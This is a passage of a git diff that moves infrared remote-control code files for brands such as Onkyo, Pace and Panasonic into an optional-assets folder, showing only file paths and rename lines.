All/Unknown_URC-8204.1300/32,8.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-8910/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_VCR/113,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_control-Philips-0081d/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_ofa-urc-7550-vcr0150/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7562/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/One For All/Unknown_urc7730/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/132,117.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/132,117.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/132,117.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/132,117.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,13.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,13.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,13.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,13.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,44.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,44.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/CD Player/210,44.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,44.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/210,43.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Receiver/210,108.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,108.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Receiver/210,108.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,108.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Receiver/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Receiver/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Tuner/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Tuner/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Tuner/210,37.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,37.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Tuner/210,37.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,37.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown/210,44.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,44.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown/210,44.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown/210,44.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_CR-70R/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-104C/210,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,28.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,28.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,28.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,28.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/Receiver/160,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/Receiver/160,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,9.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Panasonic/TV/128,9.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Panasonic/TV/128,9.ir rename to 